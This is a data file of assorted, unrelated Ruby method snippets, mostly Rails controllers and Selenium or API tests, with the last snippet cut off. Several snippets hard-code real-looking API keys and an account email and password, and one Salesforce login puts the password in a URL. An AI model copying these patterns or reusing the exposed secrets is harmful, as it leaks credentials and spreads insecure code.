"def search_directions\n @query = 1\n @error = 0\n @departure_address = params[:departure_address]\n @arrival_address = params[:arrival_address]\n bus_transit = params[:bus_transit]\n train_transit = params[:train_transit]\n metra_transit = params[:metra_transit]\n @preferred = params[:preferred]\n apikey = \"AIzaSyCDeWWmT-KYmsgSz9d2vCy0KcOmJe114y4\"\n\n if @departure_address != \"\" && @arrival_address != \"\"\n url_safe_dep = URI.encode(@departure_address)\n url_safe_arr = URI.encode(@arrival_address)\n @type_transport = ''\n\n if !bus_transit.nil?\n @type_transport = bus_transit\n end\n\n if !train_transit.nil?\n @type_transport += \"|\" + train_transit\n end\n\n if !metra_transit.nil?\n @type_transport += \"|\" + metra_transit\n end\n\n if !@type_transport != '' && !@preferred.nil? && @preferred != \"\"\n url_safe_typ = URI.encode(@type_transport)\n url_safe_pref = URI.encode(@preferred)\n apiLink = \"https://maps.googleapis.com/maps/api/directions/json?origin=#{url_safe_dep}&destination=#{url_safe_arr}&mode=transit&alternatives=true&transit_mode=#{@url_safe_typ}&transit_routing_preference=#{url_safe_pref}&key=#{apikey}\"\n\n elsif !@type_transport != ''\n url_safe_typ = URI.encode(@type_transport)\n apiLink = \"https://maps.googleapis.com/maps/api/directions/json?origin=#{url_safe_dep}&destination=#{url_safe_arr}&mode=transit&alternatives=true&transit_mode=#{url_safe_typ}&key=#{apikey}\"\n\n elsif !@preferred.nil? && @preferred != \"\"\n url_safe_pref = URI.encode(@preferred)\n apiLink = \"https://maps.googleapis.com/maps/api/directions/json?origin=#{url_safe_dep}&destination=#{url_safe_arr}&mode=transit&alternatives=true&transit_routing_preference=#{url_safe_pref}&key=#{apikey}\"\n else\n apiLink = \"https://maps.googleapis.com/maps/api/directions/json?origin=#{url_safe_dep}&destination=#{url_safe_arr}&mode=transit&alternatives=true\"\n end\n\n @directions = JSON.parse(open(apiLink).read, object_class: OpenStruct)\n\n if @directions.status == \"OK\"\n @routes = @directions.routes\n @error = 0\n else\n @message = \"No station found, try again\"\n @error = 1\n end\n else\n @message = \"Please enter a value for departure and arrival address\"\n @error = 1\n end\n\n #render :json => @routes\n render 'directions'\n end",
"def show\n # params[:q] = {} if params[:q].blank?\n @title = \"#{@service.name} - JC Auto Restoration, Inc.\"\n \t@service_applications = []\n \t@price_lists = @service.service_price_lists\n \t@price_lists.each do |price_list|\n \t\tprice_list.service_items.order(\"position ASC\").each do |item|\n \t\t\tif item.service_application && (!@service_applications.include? item.service_application)\n \t\t\t\t@service_applications << item.service_application\n \t\t\tend\n \t\tend\n \tend\n\n # @search = @service_applications.ransack(params[:q])\n # @activities = @search.result.order('created_at desc').page(params[:page]).per(Spree::Config[:admin_products_per_page])\n\n \tif params[:my_service_application]\n if params[:my_service_application][:my_service_application_id]\n \t\t @service_app_id = params[:my_service_application][:my_service_application_id].to_i\n end\n if params[:my_service_application][:my_service_price_list_id]\n @service_price_list_id = params[:my_service_application][:my_service_price_list_id].to_i\n end\n \tend\n end",
"def index\n \n @equip_fluke = \"Hydra 2635A/C Portable Data Acquisition\"\n\n # Get last available log\n @last = Fluke.last\n last_dt = @last.log_time.to_time\n\n if !logged_in? and params[:start_range].present?\n\n # This is the only check preventing the user to pass parameters\n # via address bar to search without logging in.\n\n @custom_msg = \"Very clever! You need to be logged in to search.\"\n\n start_range = last_dt.beginning_of_day \n end_range = last_dt.to_time\n\n # Use search by param\n elsif params[:start_range].present? and params[:end_range].present?\n\n start_range = params[:start_range].to_time\n\n # +1 min since there is a 1 min delay between upload and rake task\n end_range = params[:end_range].to_time + (1 * 60) \n\n else # Display default\n\n # Either display based on search param or last available day\n start_range = last_dt.beginning_of_day \n end_range = last_dt.to_time\n \n end\n\n # Search\n @flukes = Fluke.where(log_time: start_range..end_range ).order('(log_time) DESC') \\\n .paginate(page: params[:page], per_page: 240)\n\n # Update info\n @last_update = last_dt.strftime('%B %d, %Y')\n @last_update_timestamp = last_dt.strftime('%I:%M %p')\n\n # Set to true if last Fluke log time is < 2 minutes ago\n @outdated_fluke = ( last_dt < (Time.now - (2 * 60)) )\n\n # Display datetime ranges\n @search_start_dt = start_range.strftime('%B %d, %Y %I:%M %p')\n @search_end_dt = end_range.strftime('%B %d, %Y %I:%M %p')\n\n end",
"def login\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.login_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def new_hcal\r\n #MES- Note: No need to check security here, everyone can create plans\r\n @plan = Plan.new\r\n #MGS- strip whitespace from the name and description fields\r\n @plan.name = params[:name].to_s.strip\r\n @plan.description = params[:desc].to_s.strip\r\n\r\n #MGS- search for the place passed in the querystring\r\n place_name = params[:place_name]\r\n place_location = params[:place_location]\r\n\r\n if !place_name.blank?\r\n #MGS- if there is no location passed in, we start the search from the current user's zipcode\r\n place_location = current_user.get_att_value(UserAttribute::ATT_ZIP) if place_location.blank?\r\n #MGS- use the location of the place to serve as the center of the search\r\n bounding_box = GeocodeCacheEntry.get_bounding_box_array(place_location, HCAL_PLACE_SEARCH_RADIUS)\r\n\r\n if !bounding_box.nil?\r\n @search_results = Place.find_by_name_prox_time(\r\n current_user,\r\n place_name,\r\n bounding_box,\r\n HCAL_PLACE_SEARCH_RADIUS,\r\n nil, #timezone, -not used\r\n nil, #day_array,\r\n nil, #begin_time,\r\n nil, #duration,\r\n false, #include_private\r\n 10,\r\n 0)\r\n #MGS- if results were returned for this place name/location, take the first result for now\r\n # otherwise, just default to a new place\r\n if @search_results.length > 0\r\n @plan.place = @search_results[0]\r\n else\r\n #MGS- if we couldn't find a place, flash an error\r\n flash.now[:error] = \"Place not found.\"\r\n @plan.place = Place.new\r\n end\r\n else\r\n #MGS- bounding box nil\r\n flash.now[:error] = \"Place not found.\"\r\n @plan.place = Place.new\r\n end\r\n end\r\n\r\n #MGS- set the default dateperiod and timeperiod for a new plan\r\n @plan.set_datetime current_timezone, Plan::DEFAULT_DATE, Plan::DEFAULT_TIME\r\n\r\n #MGS- check to see if a start date is passed\r\n if params[:dtstart]\r\n plan_start = params[:dtstart]\r\n dtstart = Time.parse(plan_start)\r\n #MGS- assume all times are passed in UTC; this unfortunately is not always the case\r\n # upcoming.org passes times in UTC, but eventful does not. Since we are writing this\r\n # feature for Yahoo, we only care about UTC for now.\r\n local_dtstart = current_timezone.utc_to_local(dtstart)\r\n\r\n #MGS- check to see if the date is in a format: 2006-12-12 with no time\r\n # if so, default the time to ALL_DAY\r\n m = plan_start.match(/^\\d{4}\\-\\d{2}\\-\\d{2}$/)\r\n if m.nil?\r\n #MGS- hours and minutes were parsed out of the date string\r\n date_info = [local_dtstart.year, local_dtstart.mon, local_dtstart.day]\r\n time_info = [local_dtstart.hour, local_dtstart.min, 0]\r\n else\r\n #MGS- if no time could be parsed out of this event, most likely one wasn't passed\r\n # treat this as an all day event\r\n #MGS- if we get just a yyyy-mm-dd string, assume this time is in local time, as this is how\r\n # upcoming.org seems to work\r\n date_info = [dtstart.year, dtstart.mon, dtstart.day]\r\n time_info = Plan::TIME_DESCRIPTION_ALL_DAY\r\n end\r\n @plan.set_datetime current_timezone, date_info, time_info\r\n end\r\n\r\n if params[:who]\r\n #MGS- currently only supports one user being passed on the querystring\r\n invitee_id = params[:who].to_i\r\n invitee = User.find_by_id(invitee_id)\r\n #MGS- adding a comma space, so the who field is primed for further input\r\n @who_field_txt = \"#{h(invitee.full_name_and_login)}, \"\r\n end\r\n\r\n #MES- Get the other info the view needs\r\n @regulars = User.find_regulars current_user\r\n @popular_this_week = Place.find_popular_by_day(current_user)\r\n\r\n #KS- set place in the flash\r\n flash[:place] = @plan.place\r\n render :action => 'new'\r\n end",
"def VehicleSearchWithUnit_No(unit_no, testcase_no)\n @driver.find_element(:id, SearchMenu_Link).click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, VehicleSearchType_DD)).select_by(:text, \"Unit\")\n @driver.find_element(:name, VehicleSearch_EB).clear\n @driver.find_element(:name, VehicleSearch_EB).send_keys \"#{unit_no}\"\n @driver.find_element(:name, Commit_Btn).click\n search_vehicles = @driver.find_element(:css, VehicleSearchResults_ID).text\n str = search_vehicles\n no_of_vehicles= str.scan(/\\d+/)[0]\n i=1\n j=2\n flag=0\n if(\"No entries found\" != @driver.find_element(:css, VehicleSearchResults_ID).text)\n while(i<=(no_of_vehicles).to_i)\n \tif(@driver.find_element(:xpath, \"//div[@id='page_for_fleet_vehicles']/table/tbody/tr[#{j}]/td[2]\").text =~/[#{unit_no}](.*)/) \n flag= flag+1\t\t\n\telse \n\t Results(\"#{testcase_no}\", \"#{i} row doesn't contain the searched unit# \", \"FAIL\", $error_screenshots)\t\n end\t\n i=i+1\n\tj=j+2\n end\n if (flag == (no_of_vehicles).to_i)\n Results(\"#{testcase_no}\"+\"-1\", \"Search results for vehicles with unit# were displayed correctly\", \"PASS\", \"\")\n #click on vehcile request link\n @driver.find_element(:link, VehicleRequest_Link).click\n else\n Results(\"#{testcase_no}\"+\"-1\", \"Search results for vehicles with unit# were displayed incorrectly\", \"FAIL\", $error_screenshots)\t\n end\n else\n Results(\"#{testcase_no}\", \"No entries were found for the search performed for unit#\", \"PASS\", \"\") \n end \n end",
"def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork NMD User']['password']}&un=#{@mapCredentials['Staging']['WeWork NMD User']['username']}\"\n #switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end",
"def set_fleet\n @fleet = Fleet.find(params[:id])\n end",
"def call_api\n\t\tputs \"Getting info on elected officials for zipcode: #{zip_code}\"\n\t\t@api_data_on_electeds = JSON.load RestClient.get \"https://congress.api.sunlightfoundation.com/legislators/locate?zip=#{zip_code}&apikey=952d630dfb75498ab63de7a362a85335\"\n\tend",
"def test_workflow\n\n #create a random agent\n randomagent = UUIDTools::UUID.timestamp_create.to_s\n @zendeskclient.createuser(randomagent+='@gmail.com', 'Harish', \"4\", \"0\", [134692])\n assert_equal(201, @zendeskclient.responsecode)\n #lets make sure the /user/#{id}.xml exists\n\n usercreationresponse = @zendeskclient.response\n begin\n resource = RestClient::Resource.new usercreationresponse, @username, @pswd\n rescue\n assert(false) # if we hit this assertion for any reason means, we cannot access the user file\n # which means we have failed\n end\n\n # create ticket with the same user as created above as requester\n # this is implemented by using the same email id as before\n @zendeskclient.createticket(\"test ticket\", \"4\", 'Captain Cool', randomagent)\n assert_equal(201, @zendeskclient.responsecode)\n assert(@zendeskclient.response.to_s.match(@host))\n tktcreationresponse = @zendeskclient.response\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # a new ticket; assert on the status of the ticket\n assert_equal(\"0\", doc.root.elements[\"status-id\"].text)\n\n\n ticketid = ZenDeskAPI.extractid(tktcreationresponse)\n\n\n # solve the ticket and test for the http error code\n @zendeskclient.solveticket(\"31198262\", ticketid)\n assert_equal(200, @zendeskclient.responsecode)\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # after solving the ticket; assert on the status of the ticket\n assert_equal(\"3\", doc.root.elements[\"status-id\"].text)\n\n\n end",
"def create_app\n prompt = TTY::Prompt.new\n\n # get services and service providers\n service_names = DshsData.instance.get_all_service_names\n service_provider_names = DshsData.instance.service_providers.keys\n\n # client name?\n user_name = prompt.ask(\"What is your name?\")\n\n # which service?\n user_service = prompt.select(\"Which service are you making an appointment for?\", service_names, cycle: true)\n service_length = DshsData.instance.get_service_by_name.duration\n\n # which service provider? only allow user to select from service providers that offer the specified service\n possible_service_providers = []\n service_provider_names.each do |sp|\n if DshsData.instance.service_providers[sp]['services'].include? user_service\n possible_service_providers << sp\n end\n end\n\n user_sp = prompt.select(\"Which service provider are you making an appointment with?\", possible_service_providers, cycle: true)\n\n # determine whether this appointment is recurring or one-off\n recurring_or_one_off = prompt.select(\"Is this a recurring (weekly) appointment? Or a one-off appointment?\", ['recurring', 'one-off'], cycle: true)\n if recurring_or_one_off == 'recurring'\n is_recurring = true\n else\n is_recurring = false\n end\n\n # what date and time? check for conflicts while doing so\n conflict_exists = true\n while conflict_exists do\n base_date = prompt.ask(\"Appointment date (MM/DD/YYYY):\")\n break if base_date == 'q'\n # which day of the week did they specify?\n base_day = Date.strptime(base_date, \"%m/%d/%Y\").cwday\n case base_day\n when 1\n user_day = 'monday'\n when 2\n user_day = 'tuesday'\n when 3\n user_day = 'wednesday'\n when 4\n user_day = 'thursday'\n when 5\n user_day = 'friday'\n when 6\n user_day = 'saturday'\n when 7\n user_day = 'sunday'\n else\n puts base_day\n puts 'invalid day'\n end\n\n # convert date to number of days since epoch\n user_date = Date.strptime(base_date, \"%m/%d/%Y\").to_time.to_i / (60 * 60 * 24)\n\n base_time = prompt.ask(\"Appointment start time (ex: 10am or 2pm):\")\n # the following code converts user_time to an index where each hour of the day is represented by a number between 0-23\n user_time = base_time.tr('apm', '').to_i() - 1\n am_or_pm = base_time.tr('0-9', '')\n if am_or_pm == 'pm' && user_time != 11\n user_time += 12\n elsif am_or_pm == 'am' && user_time == 11\n user_time += 12\n end\n\n # check for conflicts in service_provider's availability blocks\n should_continue = false\n base_availability_override = false\n DshsData.instance.availability_blocks.each do |av|\n if (!is_recurring && av['date'] == user_date && av['service_provider_name'] == user_sp) || (is_recurring && convert_date_to_day(av['date']) == user_day)\n if user_time >= av['start_time'] && user_time < av['end_time']\n if av['is_available'] && !is_recurring\n # the override flag is set to denote that availability blocks take\n # precedence over base availability - this is used when checking\n # for conflicts in the service_provider's base availability\n base_availability_override = true\n break\n elsif av['is_available'] && is_recurring\n next\n else\n puts 'The service provider you requested is not available at this time.'.red\n puts 'Please choose a different date/time or \\'q\\' to quit.'.red\n should_continue = true\n break\n end\n end\n end\n end\n # should_continue happens if the time requested has conflicts\n # this line ends the current iteration of the loop and asks for a new date/time\n next if should_continue\n\n # check for conflicts in service_provider's base availability\n if !DshsData.instance.service_providers[user_sp]['availability'][user_day][user_time] && !base_availability_override\n puts 'The service provider you requested is not available at this time.'.red\n puts 'Please choose a different date/time or \\'q\\' to quit.'.red\n next\n end\n\n # check for conflicts in service_provider's appointments on specified day\n should_continue = false\n DshsData.instance.appointments.each do |app|\n if (!is_recurring && app['date'] == user_date && app['service_provider_name'] == user_sp) || (is_recurring && convert_date_to_day(app['date']) == user_day)\n if user_time >= app['start_time'] && user_time < (app['start_time'] + DshsData.instance.get_service_by_name(app['service_name']).duration)\n puts 'The service provider you requested already has an appointment at this time.'.red\n puts 'Please choose a different date/time or \\'q\\' to quit.'.red\n should_continue = true\n break\n end\n end\n end\n # should_continue happens if the time requested has conflicts\n # this line ends the current iteration of the loop and asks for a new date/time\n next if should_continue\n\n conflict_exists = false\n end\n\n # if no conflicts, add to appointments array\n if !conflict_exists\n if is_recurring\n # change service provider's base availability for a recurring appointment\n for index in user_time..(user_time + service_length - 1)\n DshsData.instance.service_providers[user_sp]['availability'][user_day][index] = false\n end\n end\n\n DshsData.instance.create_appointment(user_date, user_time, user_service, user_sp, user_name)\n end\nend",
"def test_create_customer\n login\n sleep 15\n # @driver.find_element(:link_text, \"Customers & Vendors\").click\n @driver.find_element(:xpath, \".//*[@id='main-nav']/li[4]/a/span\").click\n @driver.find_element(:xpath, \"//a[@ui-sref='companies']\").click\n sleep 5\n @driver.find_element(:xpath, \"//button[@uib-tooltip='Actions']\").send_keys :enter\n\n @driver.find_element(:link_text, \"New customer\").click\n\n time = get_Present\n customer_Name = \"Customer \"+time\n @driver.find_element(:xpath, \"//input[@placeholder='Name']\").send_keys customer_Name\n begin\n @driver.find_element(:xpath, \"//input[@placeholder='Legal Name']\").send_keys \"Legal Name\"\n puts \"Legal name available\"\n rescue => e\n puts \"Legal name not available\"\n end\n\n begin\n contact_Name = \"Contact \"+time\n @driver.find_element(:xpath, \"//div[1][@class='col-sm-6']/vox-text-field/div/div/input\").send_keys contact_Name\n @driver.find_element(:xpath, \"//div[2][@class='col-sm-6']/vox-text-field/div/div/input\").send_keys \"laxmi@techvoxinc.com\"\n puts \"Contact available\"\n sleep 5\n rescue => e\n puts \"Contact is not available\"\n end\n \n # @driver.find_element(:xpath, \"//div[1][@class='col-sm-9 ng-scope']/phone-field/div/div\").send_keys \"9848071234\"\n industry = \"//*[@id='main-section']/div/div[2]/div/div/div[2]/div/form/div[1]/div/section[8]/div[1]/div[1]/vox-select-field/div/select\"\n industry_index = \"2\"\n getSelect_by_index(industry,industry_index)\n\n leadSource = \".//*[@id='main-section']/div/div[2]/div/div/div[2]/div/form/div[1]/div/section[8]/div[1]/div[2]/vox-select-field/div/select\"\n leadSource_index = \"2\"\n getSelect_by_index(leadSource,leadSource_index)\n\n @driver.find_element(:xpath, \"//button[@class='submit-button button']\").click\n sleep 5\n puts \"created customer with name: \"+customer_Name\n\nend",
"def perform(retrieval_id, base_url, cmr_env)\n # Using find_by because we obfuscate the id of Retrieval and the default\n # `find` method will look for an obfuscated id instead of the raw integer\n retrieval = Retrieval.find_by(id: retrieval_id)\n\n retrieval.collections.each do |collection_hash|\n # We only allow users to select 1 access method per collection now but the javascript has not been updated\n method = collection_hash.fetch('serviceOptions', {}).fetch('accessMethod', [])[0]\n\n # TODO: Rather than just 'skipping this collection, notify the user of\n # the error. NOTE that a user should not be able to make this happen\n next if method.blank?\n\n params = Rack::Utils.parse_nested_query(collection_hash['params'])\n params['temporal'] = params.delete('override_temporal') if params['override_temporal']\n params.reject! { |p| %w(datasource short_name).include?(p) }\n\n # We'll use RetrievalCollection to separate out each collection within the order\n retrieval_collection = RetrievalCollection.create!(\n retrieval_id: retrieval_id,\n collection_id: collection_hash['id'],\n access_method: method,\n granule_params: params\n )\n\n # Determines the number of granules requested adjusted for a defined maximum number\n granule_count = retrieval_collection.adjusted_granule_count\n\n # Split up large orders taking into account the limited granule collection tags\n page_size = retrieval_collection.max_order_size\n page_num = 0\n\n until page_num * page_size > granule_count\n page_num += 1\n\n params[:page_size] = page_size\n params[:page_num] = page_num\n\n if method['type'] == 'order'\n # `Stage For Delivery` Access Method\n legacy_services_order = LegacyServicesOrder.create(\n retrieval_collection: retrieval_collection,\n search_params: params\n )\n\n SubmitLegacyServicesJob.set(queue: queue_name).perform_later(\n legacy_services_order,\n cmr_env\n )\n elsif method['type'] == 'service'\n # `Customize` Access Method\n catalog_rest_order = CatalogRestOrder.create(\n retrieval_collection: retrieval_collection,\n search_params: params\n )\n\n SubmitCatalogRestJob.set(queue: queue_name).perform_later(\n catalog_rest_order,\n base_url\n )\n end\n end\n end\n end",
"def submitSessionLabels\n # check if data submission is offline\n is_offline_sensor_data_collection = false\n\n # not having valid device id or device type. \n if (\n params.has_key?(:uid) && (params[:uid].empty? == false)\n )\n @deviceType = nil\n if (\n params.has_key?(:did) == false || params[:did].empty? || \n params.has_key?(:dtype) == false || params[:dtype].empty? ||\n (@deviceType = DeviceType.where(name: params[:dtype]).first) == nil || \n params.has_key?(:experiment_id) == false || params[:experiment_id].empty? ||\n (@experiment = UteExperiment.where(:experiment_code => params[:experiment_id], :is_active => true).first) == nil\n ) \n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n if (\n params.has_key?(:label_info) == false || params[:label_info].empty? || \n params[:label_info][:data].kind_of?(Array) == false || params[:label_info][:data].count == 0\n )\n render json: { 'status' => 'OK' }.to_json\n end\n\n # check device pairing. \n @deviceId = params[:did]\n if isPairedDeviceValid(@deviceId, params[:uid]) == false\n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n # check if devicepairconnotp is not expired yet\n @devicepairconnections = @devicepairs.ute_device_pair_connections.where(\n :expire_by.gte => Time.now.getutc.to_f, \n :is_active => true\n )\n firststartdate = params[:label_info][:data][0][:t_start]\n @devicepairconnections.each do |devicepairconnection|\n si = devicepairconnection.ute_ex_session\n if si != nil\n if firststartdate > si.range_start_at && firststartdate < si.range_end_at \n #found the paired connection\n @devicepairconnection = devicepairconnection\n break\n end\n end\n\n if @devicepairconnection == nil || @devicepairconnection.ute_ex_session == nil \n #session to pair is not found\n render json: { 'status' => 'FAILED', 'code' => 404 }.to_json\n return\n end\n end\n\n if @devicepairconnection == nil\n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n @session = @devicepairconnection.ute_ex_session\n @sessionId = @session.session_code\n\n if @session\n @sessionConnection = @session.ute_ex_session_connections.create!(device_id: @deviceId, device_model: params[\"model\"], device_type: @deviceType.id, is_active: true, connected_at: params[:label_info][:data][0][:t_start])\n\n is_offline_sensor_data_collection = true\n end\n end \n\n if isDataSubmissionInvalidForExpAndSession(request, params) \n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n UteDataSubmissionService.delay.handleintervallabels(@session, @sessionConnection, params)\n\n if is_offline_sensor_data_collection\n render json: { 'status' => 'OK', 'session_id' => @session.session_code }.to_json\n else\n render json: { 'status' => 'OK' }.to_json\n end\n end",
"def search\n #default values for days to be rendered in view\n @days_format = OpenOrder.get_select_values\n #default values for search by values to be rendered in view\n @search_by_values = OpenOrder.get_search_values\n #checking whether search by value is \"all\"\n if params[:search_by].include? \"all\"\n # ITR: Threading of “All Open Order” request\n # Creating a Thread to Send mail in Background Process.\n thread = Thread.new { invoke_webservice method: 'post', action: 'openOrders', data: { custNo: current_user,custEm: session[:buyer_email]} }\n at_exit { thread.join }\n @response_send_open_orders = thread.status\n flash.now[:notice] = I18n.translate(\"mail_msg\",:name => session[:buyer_email],:scope => \"open_orders.search\")\n #checking whether response from webservice is not null\n # if @response_send_open_orders\n # #checking whether errCode variable from response is 0 or \"\"\n # if @response_send_open_orders[\"errCode\"] == \"0\" || @response_send_open_orders[\"errCode\"] == \"\"\n # flash.now[:notice] = I18n.translate(\"mail_msg\",:name => session[:buyer_email],:scope => \"open_orders.search\")\n # #if errCode variable from response is 0 or \"\"\n # else\n # flash.now[:notice] = @response_send_open_orders[\"errMsg\"]\n # end\n # #End of checking whether errCode variable from response is 0 or \"\"\n # #if response from webservice is null\n # else\n # flash.now[:alert] = I18n.translate(\"service_unavailable\",:scope => \"rma.error\")\n # end\n #End of checking whether response from webservice is not null\n render :index\n #if search by value is other than \"all\"\n else\n search_for = params[:search_for].try(:strip).try(:upcase)\n search_by = params[:search_by]\n search_start_date = (Time.now - params[:start_date].to_i.days).strftime(\"%m/%d/%Y\")\n search_end_date = Time.now.strftime(\"%m/%d/%Y\")\n #checking whether search by value is \"pn\"(part number)\n if params[:search_by] != \"po\"\n search_part_number = params[:search_for].try(:upcase)\n search_purchase_order = \"\"\n #checking whether search by value is \"po\"(purchase order number)\n else\n search_part_number = \"\"\n search_purchase_order = params[:search_for].try(:upcase)\n end\n @response_orders = invoke_webservice method: 'get', action: 'orderStatus',\n query_string: { custNo: current_user,\n srch: search_for,\n srchPNs: \"\",\n srchBy: search_by,\n srchPoNo: search_purchase_order,\n srchPN: search_part_number,\n srchBdt: search_start_date,\n srchEdt: search_end_date\n }\n #checking whether response from webservice is not null\n if @response_orders\n #checking whether errCode variable from response 2\n if @response_orders[\"openOrders\"][\"errCode\"] == \"2\"\n flash.now[:notice] = @response_orders[\"openOrders\"][\"errMsg\"]\n end\n #End of checking whether errCode variable from response 2\n #if response from webservice is null\n else\n flash.now[:alert] = I18n.translate(\"service_unavailable\",:scope => \"rma.error\")\n end\n #End of checking whether response from webservice is not null\n render :index\n end\n #End of checking whether search by value is \"all\"\n end",
"def run\n super\n\n #\n # This module currently uses the Free API (rate limited / response limited)\n # https://freeapi.robtex.com/ipquery/#{search_ip}\n #\n # Note that a paid version (free up to 10k queries / month) of the API is available at:\n # https://market.mashape.com/robtex/robtex\n #\n\n # Check Robtex API & create entities from returned JSON\n search_ip = _get_entity_name\n search_uri = \"https://freeapi.robtex.com/ipquery/#{search_ip}\"\n\n begin\n details = JSON.parse(http_get_body(search_uri))\n _log \"Got details: #{details}\"\n\n #status\n # Should be \"ok\"\n unless details[\"status\"] == \"ok\"\n _log_error \"Unable to continue\"\n return\n end\n\n #act\n # Active (forward) DNS\n if details[\"act\"]\n details[\"act\"].each do |forward_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => forward_lookup[\"o\"],\n \"time\" => \"#{Time.at(forward_lookup[\"t\"])}\"\n }\n end\n end\n\n #pas\n # Passive (reverse) DNS\n if details[\"pas\"]\n details[\"pas\"].each do |reverse_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => reverse_lookup[\"o\"],\n \"time\" => \"#{Time.at(reverse_lookup[\"t\"])}\"\n }\n end\n end\n\n #pash\n # Passive DNS history\n # TODO\n\n #acth\n # Active DNS history\n # TODO\n\n #as\n # Autonomous System Number\n if details[\"as\"]\n _create_entity \"AsNumber\",{\n \"name\" => \"AS#{details[\"as\"]}\",\n \"as_name\" => details[\"asname\"],\n \"as_desc\" => details[\"asdesc\"]\n }\n end\n\n # Netblock\n #\n if details[\"bgproute\"]\n _create_entity \"NetBlock\",{\"name\" => \"#{details[\"bgproute\"]}\"}\n end\n\n rescue JSON::ParserError => e\n _log_error \"Unable to get parsable response from #{search_uri}: #{e}\"\n rescue StandardError => e\n _log_error \"Error grabbing robtex details: #{e}\"\n end\n\n\n end",
"def homepage\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/OrgEntry.jsp')\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/images/corner3.png')\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/images/transparent.gif')\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService', \n {\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'method' => 'POST',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgTypes|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgOrgRelationTypes|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgPersonRelationTypes|1|2|3|4|0|\"\n }\n )\n \n # Dupe request - BUG?\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgPersonRelationTypes|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|29F4EA1240F157649C12466F01F46F60|org.kuali.student.common.ui.client.service.SecurityRpcService|getPrincipalUsername|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|3DDEE7B5823674CCFB876EDB821C7743|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.lang.String|ks.rice.docSearch.serviceAddress|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|3DDEE7B5823674CCFB876EDB821C7743|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.lang.String|ks.rice.actionList.serviceAddress|1|2|3|4|1|5|6|\"\n }\n )\n \n 